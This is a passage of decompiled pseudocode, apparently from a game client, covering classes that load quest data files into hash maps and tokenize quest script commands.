*)(v32 + 8) <= v27 ) break; if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) goto LABEL_32; } if ( *(_WORD *)(v32 + 8) >= v27 ) { v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v32; result->second = 0; return v35; } v32 = *(_DWORD *)v32; } LABEL_32: v33 = std::list_std::allocator>>::_Buynode( &v3->_List, (std::_List_nod,std::allocator > >::_Node *)v32, *(std::_List_nod,std::allocator > >::_Node **)(v32 + 4), v26); std::list_std::allocator>>::_Incsize( &v3->_List, 1u); *(_DWORD *)(v32 + 4) = v33; v33->_Prev->_Next = v33; v34 = *(_DWORD *)(v32 + 4); if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; if ( !_Vala ) break; --_Vala; v31 = _Vala; } while ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[_Vala].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; result->second = 1; return v35; } //----- (00568860) -------------------------------------------------------- void __thiscall CQuestData::CQuestData(CQuestData *this, CDataReader *pQuestDialog) { CQuestData *v2; // esi@1 v2 = this; this->m_pQuestDialog = pQuestDialog; stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>( (stdext::_Hash >,std::allocator >,1> > *)&this->m_hashmap_QuestData, (stdext::hash_compare > *)&pQuestDialog, (std::allocator > *)&pQuestDialog); stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>( &v2->m_mhmap_QuestDataByMobID.baseclass_0, (stdext::hash_compare > *)&pQuestDialog, (std::allocator > *)&pQuestDialog); v2->m_pBF = 0; v2->m_pDataHead = 0; v2->m_ppQuestDataArray = 0; v2->m_ReadError = 1; v2->m_bReadonly = 1; v2->m_pNULLSTR = NULLSTR; } //----- (005688E0) -------------------------------------------------------- void __thiscall CQuestData::ClearBF(CQuestData *this) { std::list,std::allocator > >::iterator *v1; // ebx@0 std::list,std::allocator > >::iterator *v2; // edi@0 unsigned int v3; // esi@0 CQuestData *v4; // esi@1 void *v5; // eax@1 QUEST_DATA_HEAD *v6; // eax@5 unsigned int v7; // edi@6 QUEST_DATA *v8; // eax@7 void *v9; // eax@8 QUEST_DATA *v10; // edx@10 QUEST_DATA *v11; // ecx@12 void **v12; // ecx@19 void *v13; // eax@19 bool v14; // zf@19 void *v15; // edi@20 std::list,std::allocator > >::iterator *v16; // edi@21 std::vector,std::allocator > >::iterator,std::allocator,std::allocatorm_pBF; v19._Myend = v2; if ( v5 ) { operator delete(v5); v4->m_pBF = 0; } if ( v4->m_ppQuestDataArray ) { if ( !v4->m_bReadonly ) { v6 = v4->m_pDataHead; if ( v6 ) { v7 = 0; if ( v6->NumOfQuest > 0u ) { do { v8 = v4->m_ppQuestDataArray[v7]; if ( v8 ) { v9 = v8->pScriptStart; if ( v9 ) operator delete__(v9); v10 = v4->m_ppQuestDataArray[v7]; if ( v10->pScriptDoing ) operator delete__(v10->pScriptDoing); v11 = v4->m_ppQuestDataArray[v7]; if ( v11->pScriptEnd ) operator delete__(v11->pScriptEnd); operator delete(v4->m_ppQuestDataArray[v7]); } ++v7; } while ( v7 < v4->m_pDataHead->NumOfQuest ); } } } operator delete__(v4->m_ppQuestDataArray); v4->m_ppQuestDataArray = 0; } if ( v4->m_pDataHead ) { operator delete(v4->m_pDataHead); v4->m_pDataHead = 0; } v12 = (void **)v4->m_hashmap_QuestData.baseclass_0._List._Myhead; v13 = *v12; *v12 = v12; v4->m_hashmap_QuestData.baseclass_0._List._Myhead->_Prev = v4->m_hashmap_QuestData.baseclass_0._List._Myhead; v14 = v13 == v4->m_hashmap_QuestData.baseclass_0._List._Myhead; v4->m_hashmap_QuestData.baseclass_0._List._Mysize = 0; if ( !v14 ) { do { v15 = *(void **)v13; operator delete(v13); v13 = v15; } while ( v15 != v4->m_hashmap_QuestData.baseclass_0._List._Myhead ); } v16 = v4->m_hashmap_QuestData.baseclass_0._Vec._Myfirst; v21 = (CQuestData *)v4->m_hashmap_QuestData.baseclass_0._List._Myhead; if ( v16 != v4->m_hashmap_QuestData.baseclass_0._Vec._Mylast ) v4->m_hashmap_QuestData.baseclass_0._Vec._Mylast = v16; v19._Mylast = (std::list,std::allocator > >::iterator *)&v21; v19._Myfirst = (std::list,std::allocator > >::iterator *)9; *(_DWORD *)&v19.baseclass_0._Alval.baseclass_0.dummy[0] = v4->m_hashmap_QuestData.baseclass_0._Vec._Myfirst; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n( &v4->m_hashmap_QuestData.baseclass_0._Vec, v19, v20, v1); v4->m_hashmap_QuestData.baseclass_0._Mask = 1; v4->m_hashmap_QuestData.baseclass_0._Maxidx = 1; } // 5688E0: could not find valid save-restore pair for ebx // 5688E0: could not find valid save-restore pair for edi // 5688E0: could not find valid save-restore pair for esi //----- (00568A30) -------------------------------------------------------- void __thiscall CQuestData::QuestData_HashDataIn(CQuestData *this) { CQuestData *v1; // ebx@1 QUEST_DATA_HEAD *v2; // eax@1 unsigned __int16 v3; // ax@2 int v4; // esi@4 unsigned int v5; // ebp@4 __int16 v6; // cx@5 int v7; // esi@5 int v8; // eax@6 signed __int16 v9; // ax@8 int v10; // esi@10 int v11; // ecx@14 std::list,std::allocator > >::iterator _Val; // [sp+10h] [bp-38h]@4 std::list,std::allocator > >::iterator result; // [sp+18h] [bp-30h]@5 unsigned int NumOfQuest; // [sp+1Ch] [bp-2Ch]@4 __int16 v15; // [sp+20h] [bp-28h]@5 QUEST_DATA *v16; // [sp+24h] [bp-24h]@5 __int16 v17; // [sp+28h] [bp-20h]@10 int v18; // [sp+2Ch] [bp-1Ch]@10 __int16 v19; // [sp+30h] [bp-18h]@14 int v20; // [sp+34h] [bp-14h]@14 char v21; // [sp+38h] [bp-10h]@10 char v22; // [sp+40h] [bp-8h]@14 v1 = this; v2 = this->m_pDataHead; if ( v2 ) v3 = v2->NumOfQuest; else v3 = 0; v4 = v3; NumOfQuest = v3; std::list_std::allocator>>::clear(&this->m_hashmap_QuestData.baseclass_0._List); _Val = (std::list,std::allocator > >::iterator)v1->m_hashmap_QuestData.baseclass_0._List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n( &v1->m_hashmap_QuestData.baseclass_0._Vec, 9u, &_Val); v1->m_hashmap_QuestData.baseclass_0._Mask = 1; v1->m_hashmap_QuestData.baseclass_0._Maxidx = 1; std::list_std::allocator>>::clear(&v1->m_mhmap_QuestDataByMobID.baseclass_0._List); _Val = (std::list,std::allocator > >::iterator)v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n( &v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec, 9u, &_Val); v1->m_mhmap_QuestDataByMobID.baseclass_0._Mask = 1; v1->m_mhmap_QuestDataByMobID.baseclass_0._Maxidx = 1; v5 = 0; if ( v4 ) { do { v6 = v1->m_ppQuestDataArray[v5]->ID; v16 = v1->m_ppQuestDataArray[v5]; v15 = v6; stdext::_Hash>_std::allocator>_0>>::insert( &v1->m_hashmap_QuestData.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&_Val, (std::pair *)&v15); v7 = (int)v1->m_ppQuestDataArray[v5]; _Val = (std::list,std::allocator > >::iterator)*(_WORD *)(v7 + 4); stdext::_Hash>_std::allocator>_0>>::lower_bound( &v1->m_hashmap_QuestData.baseclass_0, &result, (const unsigned __int16 *)&_Val); if ( (std::_List_nod,std::allocator > >::_Node *)result != v1->m_hashmap_QuestData.baseclass_0._List._Myhead && (v8 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 && *(_BYTE *)(v8 + 19) ) v9 = *(_WORD *)(v8 + 20); else v9 = -1; v17 = v9; v18 = v7; stdext::_Hash>_std::allocator>_1>>::insert( &v1->m_mhmap_QuestDataByMobID.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&v21, (std::pair *)&v17); v10 = v7 + 78; _Val = (std::list,std::allocator > >::iterator)5; do { if ( *(_BYTE *)(v10 - 4) && (!*(_BYTE *)v10 || *(_BYTE *)v10 == 3) ) { v11 = (int)v1->m_ppQuestDataArray[v5]; v19 = *(_WORD *)(v10 - 2); v20 = v11; stdext::_Hash>_std::allocator>_1>>::insert( &v1->m_mhmap_QuestDataByMobID.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&v22, (std::pair *)&v19); } v10 += 6; --*(_DWORD *)&_Val; } while ( _Val ); ++v5; } while ( v5 < NumOfQuest ); } } //----- (00568BA0) -------------------------------------------------------- void __thiscall CQuestData::_CQuestData(CQuestData *this) { CQuestData *v1; // esi@1 int v2; // esi@5 v1 = this; CQuestData::ClearBF(this); if ( v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst ) operator delete(v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst); v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst = 0; v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Mylast = 0; v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myend = 0; std::list_std::allocator>>::clear(&v1->m_mhmap_QuestDataByMobID.baseclass_0._List); operator delete(v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead); v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead = 0; if ( v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst ) operator delete(v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst); v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst = 0; v1->m_hashmap_QuestData.baseclass_0._Vec._Mylast = 0; v1->m_hashmap_QuestData.baseclass_0._Vec._Myend = 0; v2 = (int)&v1->m_hashmap_QuestData.baseclass_0._List; std::list_std::allocator>>::clear((std::list,std::allocator > > *)v2); operator delete(*(void **)(v2 + 4)); *(_DWORD *)(v2 + 4) = 0; } //----- (00568C50) -------------------------------------------------------- int __thiscall CQuestData::ReadModeRead(CQuestData *this, const char *pFN) { CQuestData *v2; // esi@1 int result; // eax@1 int v4; // ebx@1 int v5; // eax@3 int v6; // edi@3 void *v7; // eax@3 unsigned int v8; // edi@7 void *v9; // eax@7 void *v10; // eax@10 QUEST_DATA_HEAD *v11; // ecx@10 unsigned int v12; // edx@10 int v13; // edi@10 int i; // ecx@10 char *v15; // eax@13 unsigned int v16; // edx@13 int v17; // ecx@14 int v18; // edi@14 v2 = this; CQuestData::ClearBF(this); result = (int)fopen(pFN, "rb"); v4 = result; if ( !result ) { v2->m_ReadError = 1; return result; } v5 = fileno((_iobuf *)result); v6 = filelength(v5); v7 = operator new(4u); v2->m_pDataHead = (QUEST_DATA_HEAD *)v7; if ( fread(v7, 4u, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 2; ERROR_READ: CQuestData::ClearBF(v2); fclose((_iobuf *)v4); return 0; } if ( v2->m_pDataHead->VersionNo != 2 ) { v2->m_ReadError = 3; goto ERROR_READ; } v8 = v6 - 4; v9 = operator new__(v8); v2->m_pBF = (char *)v9; if ( fread(v9, v8, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 4; goto ERROR_READ; } v10 = operator new__(4 * v2->m_pDataHead->NumOfQuest); v11 = v2->m_pDataHead; v2->m_ppQuestDataArray = (QUEST_DATA **)v10; v12 = 4 * v11->NumOfQuest; memset(v10, 0, 4 * (v12 >> 2)); v13 = (int)((char *)v10 + 4 * (v12 >> 2)); for ( i = v12 & 3; i; --i ) *(_BYTE *)v13++ = 0; v15 = v2->m_pBF; v16 = 0; if ( v2->m_pDataHead->NumOfQuest ) { do { v2->m_ppQuestDataArray[v16] = (QUEST_DATA *)v15; *((_DWORD *)v15 + 144) = v15 + 592; v17 = *((_WORD *)v15 + 284); *((_DWORD *)v15 + 145) = &v15[v17 + 592]; v18 = *((_WORD *)v15 + 286); *((_DWORD *)v15 + 146) = &v15[v17 + 592] + v18; ++v16; v15 += v17 + v18 + *((_WORD *)v15 + 285) + 592; } while ( v16 < v2->m_pDataHead->NumOfQuest ); } fclose((_iobuf *)v4); v2->m_ReadError = 0; CQuestData::QuestData_HashDataIn(v2); return 1; } //----- (00568DC0) -------------------------------------------------------- int __thiscall CQuestData::ReadModeEdit(CQuestData *this, const char *pFN) { CQuestData *v2; // ebx@1 int result; // eax@1 int v4; // ebp@1 int v5; // eax@3 void *v6; // eax@3 QUEST_DATA_HEAD *v7; // eax@6 void *v8; // eax@8 QUEST_DATA_HEAD *v9; // edx@8 void *v10; // esi@9 int v11; // edi@9 void *v12; // eax@10 unsigned int v13; // ST14_4@10 void *v14; // eax@10 unsigned int v15; // ST04_4@10 void *v16; // ST00_4@10 int pFNa; // [sp+Ch] [bp+4h]@8 v2 = this; CQuestData::ClearBF(this); result = (int)fopen(pFN, "rb"); v4 = result; if ( !result ) { v2->m_ReadError = 1; return result; } v5 = fileno((_iobuf *)result); filelength(v5); v6 = operator new(4u); v2->m_pDataHead = (QUEST_DATA_HEAD *)v6; if ( fread(v6, 4u, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 2; ERROR_READ_0: CQuestData::ClearBF(v2); fclose((_iobuf *)v4); return 0; } v7 = v2->m_pDataHead; if ( v7->VersionNo != 2 ) { v2->m_ReadError = 3; goto ERROR_READ_0; } v8 = operator new__(4 * v7->NumOfQuest); v9 = v2->m_pDataHead; v2->m_ppQuestDataArray = (QUEST_DATA **)v8; v2->m_ReadError = 4; pFNa = 0; if ( v9->NumOfQuest ) { do { v10 = operator new(0x250u); memset(v10, 0, 0x250u); v11 = pFNa; v2->m_ppQuestDataArray[pFNa] = (QUEST_DATA *)v10; if ( fread(v10, 0x250u, 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; v12 = operator new__(*((_WORD *)v10 + 284)); v13 = *((_WORD *)v10 + 286); *((_DWORD *)v10 + 144) = v12; *((_DWORD *)v10 + 145) = operator new__(v13); v14 = operator new__(*((_WORD *)v10 + 285)); v15 = *((_WORD *)v10 + 284); v16 = (void *)*((_DWORD *)v10 + 144); *((_DWORD *)v10 + 146) = v14; if ( fread(v16, v15, 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; if ( fread(*((void **)v10 + 145), *((_WORD *)v10 + 286), 1u, (_iobuf *)v4) != 1 || fread(*((void **)v10 + 146), *((_WORD *)v10 + 285), 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; *(_DWORD *)v10 = *((_WORD *)v10 + 284) + *((_WORD *)v10 + 285) + *((_WORD *)v10 + 286) + 592; ++pFNa; } while ( v11 + 1 < (unsigned int)v2->m_pDataHead->NumOfQuest ); } fclose((_iobuf *)v4); v2->m_ReadError = 0; CQuestData::QuestData_HashDataIn(v2); return 1; } //----- (00568FC0) -------------------------------------------------------- int __thiscall CQuestData::Read(CQuestData *this, const char *pFN, int bReadonly) { int result; // eax@2 this->m_bReadonly = bReadonly; if ( bReadonly ) result = CQuestData::ReadModeRead(this, pFN); else result = CQuestData::ReadModeEdit(this, pFN); return result; } //----- (00568FF0) -------------------------------------------------------- void __thiscall CQuestParserScript::CQuestParserScript(CQuestParserScript *this) { CQuestParserScript *v1; // esi@1 CToken *v2; // edi@1 v1 = this; v2 = &this->m_Token; this->vfptr = (CQuestParserScriptVtbl *)&CQuestParserScript::_vftable_; CToken::CToken(&this->m_Token); v1->m_ppQSC = gpQSC; v1->m_ppQSV = gpQSV; v1->m_ppQSAE = gpQSAE; v1->m_ppQST = gpQST; v1->m_ppQSIL = gpQSIL; CToken::SetSeprator(v2, " ,\t\r\n"); } // 5DBB38: using guessed type int (__thiscall *CQuestParserScript___vftable_)(CQuestParserScript *this, int pCmd); //----- (00569070) -------------------------------------------------------- int __thiscall CQuestParserScript::IsDigitStr(CQuestParserScript *this, const char *pStr) { unsigned int *v2; // esi@1 char v3; // al@3 v2 = (unsigned int *)pStr; if ( pStr ) { while ( _ismbcdigit(*(_BYTE *)v2) ) { v3 = *((_BYTE *)v2 + 1); v2 = (unsigned int *)((char *)v2 + 1); if ( !v3 ) return 1; } } return 0; } //----- (005690B0) -------------------------------------------------------- const char *__thiscall CQuestParserScript::MarkGet(CQuestParserScript *this, const char *pMarkName) { CQuestParserScript *v2; // edi@1 int v3; // esi@1 const char *v4; // ebx@2 const char *result; // eax@5 v2 = this; v3 = 0; if ( this->m_NumOfMark <= 0 ) { LABEL_5: result = 0; } else { v4 = (const char *)this->m_Mark; while ( _mbsicmp(v4, pMarkName) ) { ++v3; v4 += 20; if ( v3 >= v2->m_NumOfMark ) goto LABEL_5; } result = v2->m_Mark[v3].pMarkPoint; } return result; } //----- (00569100) -------------------------------------------------------- int __thiscall CQuestParserScript::MarkGo(CQuestParserScript *this, const char *pMarkName) { CQuestParserScript *v2; // esi@1 int result; // eax@1 v2 = this; result = (int)CQuestParserScript::MarkGet(this, pMarkName); if ( result ) result = CToken::RestoreTokenPositon(&v2->m_Token, (const char *)result); return result; } //----- (00569130) -------------------------------------------------------- STRUCT_QSC *__thiscall CQuestParserScript::ParserNext(CQuestParserScript *this) { CQuestParserScript *v1; // esi@1 CToken *v2; // edi@1 char *v3; // eax@1 STRUCT_QSC *result; // eax@2 unsigned int v5; // ecx@3 bool v6; // cf@3 bool v7; // zf@3 STRUCT_QSC *v8; // ebp@3 char *v9; // ebx@6 __int16 v10; // ax@7 char **v11; // edx@7 char *v12; // ebx@11 char *v13; // edi@14 int v14; // edx@19 const char v15; // cl@20 int v16; // esi@23 const char v17; // cl@24 char *v18; // ebx@26 char *v19; // ebx@28 char *v20; // ebx@41 char *v21; // ebx@42 __int16 v22; // ax@47 char *v23; // ebx@54 unsigned int v24; // eax@54 char *v25; // eax@58 char *v26; // edi@59 unsigned int v27; // eax@59 STRUCT_QSC *v28; // ebp@60 int v29; // eax@62 STRUCT_QSC *v30; // ebp@62 STRUCT_QSC *v31; // edx@64 STRUCT_QSC *v32; // ebp@64 signed int v33; // ebp@67 char *v34; // eax@67 unsigned int v35; // ecx@67 char **v36; // ST04_4@68 char *v37; // edi@68 unsigned int v38; // eax@68 STRUCT_QSC *v39; // ebp@69 STRUCT_QSC *v40; // ebp@71 STRUCT_QSC *v41; // edx@72 STRUCT_QSC *v42; // ebp@72 char *v43; // eax@73 unsigned int v44; // ecx@73 char **v45; // eax@74 unsigned int v46; // eax@74 STRUCT_QSC *v47; // ebp@75 unsigned int v48; // edx@75 STRUCT_QSC *v49; // ecx@78 STRUCT_QSC *v50; // ebp@78 char *v51; // eax@79 unsigned int v52; // ecx@79 char **v53; // edx@80 unsigned int v54; // eax@80 STRUCT_QSC *v55; // ebp@81 unsigned int v56; // ecx@81 int v57; // eax@83 STRUCT_QSC *v58; // ebp@83 STRUCT_QSC *v59; // ecx@85 STRUCT_QSC *v60; // ebp@85 unsigned int v61; // ecx@86 int v62; // ecx@90 int v63; // ecx@91 unsigned int TokenID; // [sp+8h] [bp-8h]@1 STRUCT_QSC *v65; // [sp+Ch] [bp-4h]@3 v1 = this; v2 = &this->m_Token; v3 = CToken::GetTokenID(&this->m_Token, &TokenID, (char **)this->m_ppQSC, 0x1Eu); if ( !v3 ) { result = &v1->m_QSC; v1->m_QSC.Cmd = 31; return result; } v5 = TokenID; v6 = TokenID < 0xF; v7 = TokenID == 15; v8 = &v1->m_QSC; v65 = &v1->m_QSC; v1->m_QSC.Cmd = TokenID; if ( v6 | v7 ) { if ( v7 ) { v20 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v20) ) { LABEL_47: v22 = atoi(v20); *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v22; CToken::SaveTokenPositon(v2); v21 = CToken::GetToken(v2); LABEL_48: if ( CQuestParserScript::IsDigitStr(v1, v21) ) { *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = atoi(v21); result = &v1->m_QSC; } else { LABEL_40: CToken::RestoreTokenPositon(v2, 0); result = &v1->m_QSC; } } else { v8->Cmd = 0; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v20; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 15; } } else { switch ( v5 ) { case 2u: v9 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v9) ) { v10 = atoi(v9); v11 = (char **)v1->m_ppQST; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v10; HIWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) = -1; v3 = CToken::GetTokenID(v2, &TokenID, v11, 2u); if ( TokenID ) { if ( TokenID != 1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 2; goto LABEL_107; } result = &v1->m_QSC; *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; } else { *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 0; CToken::SaveTokenPositon(v2); v12 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v12) ) goto LABEL_40; HIWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) = atoi(v12); result = &v1->m_QSC; } } else { v8->Cmd = 0; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v9; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 2; } return result; case 3u: v13 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v13) ) { LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v13); result = &v1->m_QSC; } else { v8->Cmd = 0; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v13; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 3; } return result; case 4u: v3 = CToken::GetToken(v2); if ( strlen(v3) >= 0x40 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 4; goto LABEL_107; } v14 = (char *)&v1->m_QSC.Data - v3; do { v15 = *v3; v3[v14] = *v3; ++v3; } while ( v15 ); v3 = CToken::GetToken(v2); if ( strlen(v3) >= 0x20 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 4; goto LABEL_107; } v16 = (char *)v1 - v3; do { v17 = *v3; v3[v16 + 2068] = *v3; ++v3; } while ( v17 ); result = v8; break; case 7u: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; goto LABEL_34; case 8u: v19 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v19) ) { BYTE2(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v19); $L84707: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) { LABEL_38: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v18); result = &v1->m_QSC; } else { LABEL_36: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; CToken::RestoreTokenPositon(v2, 0); result = &v1->m_QSC; } } else { v8->Cmd = 0; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v19; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 8; } return result; case 5u: goto $L84707; case 0xAu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; LABEL_34: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; CToken::RestoreTokenPositon(v2, 0); return &v1->m_QSC; case 0xBu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_36; goto LABEL_38; case 6u: case 9u: case 0xCu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; goto LABEL_40; case 0xDu: v20 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v20) ) goto LABEL_45; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v20); *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; CToken::SaveTokenPositon(v2); v21 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSIL, 1u); if ( TokenID ) goto LABEL_48; result = &v1->m_QSC; *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = -1; return result; case 0xEu: v20 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v20) ) goto LABEL_47; LABEL_45: v8->Cmd = 0; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v20; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 14; return result; case 1u: return &v1->m_QSC; default: goto LABEL_106; } } return result; } if ( v5 > 0x17 ) { if ( v5 > 0x1B ) { if ( v5 == 31 ) return &v1->m_QSC; if ( v5 == -1 && *v3 == *v1->m_ppQSC[19] ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = (QUEST_SCRIPT_COMMAND)(v3 + 1); v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v1->m_Token.m_pToken; v8->Cmd = 19; return &v1->m_QSC; } } else { if ( v5 == 27 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v61 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 27; goto LABEL_107; } goto LABEL_100; } v62 = v5 - 24; if ( !v62 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v61 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 24; goto LABEL_107; } goto LABEL_100; } v63 = v62 - 1; if ( !v63 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v61 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 25; goto LABEL_107; } goto LABEL_100; } if ( v63 == 1 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v61 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 26; goto LABEL_107; } LABEL_100: result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = v61; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v61]; return result; } } LABEL_106: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 29; goto LABEL_107; } if ( v5 == 23 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v61 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 23; LABEL_107: v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v3; v8->Cmd = 0; return &v1->m_QSC; } goto LABEL_100; } switch ( v5 ) { case 0x11u: v23 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v24 = TokenID; if ( TokenID == -1 ) { if ( !CQuestParserScript::IsDigitStr(v1, v23) ) { result = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v23; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; result->Cmd = 0; return result; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)atoi(v23); } else { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v24]; } v25 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSAE, 6u); if ( TokenID == -1 ) { v31 = v65; v32 = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v25; result = v32; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; v31->Cmd = 0; } else { *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = TokenID; v26 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v27 = TokenID; if ( TokenID == -1 ) { if ( CQuestParserScript::IsDigitStr(v1, v26) ) { *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = 7; v29 = atoi(v26); v30 = v65; 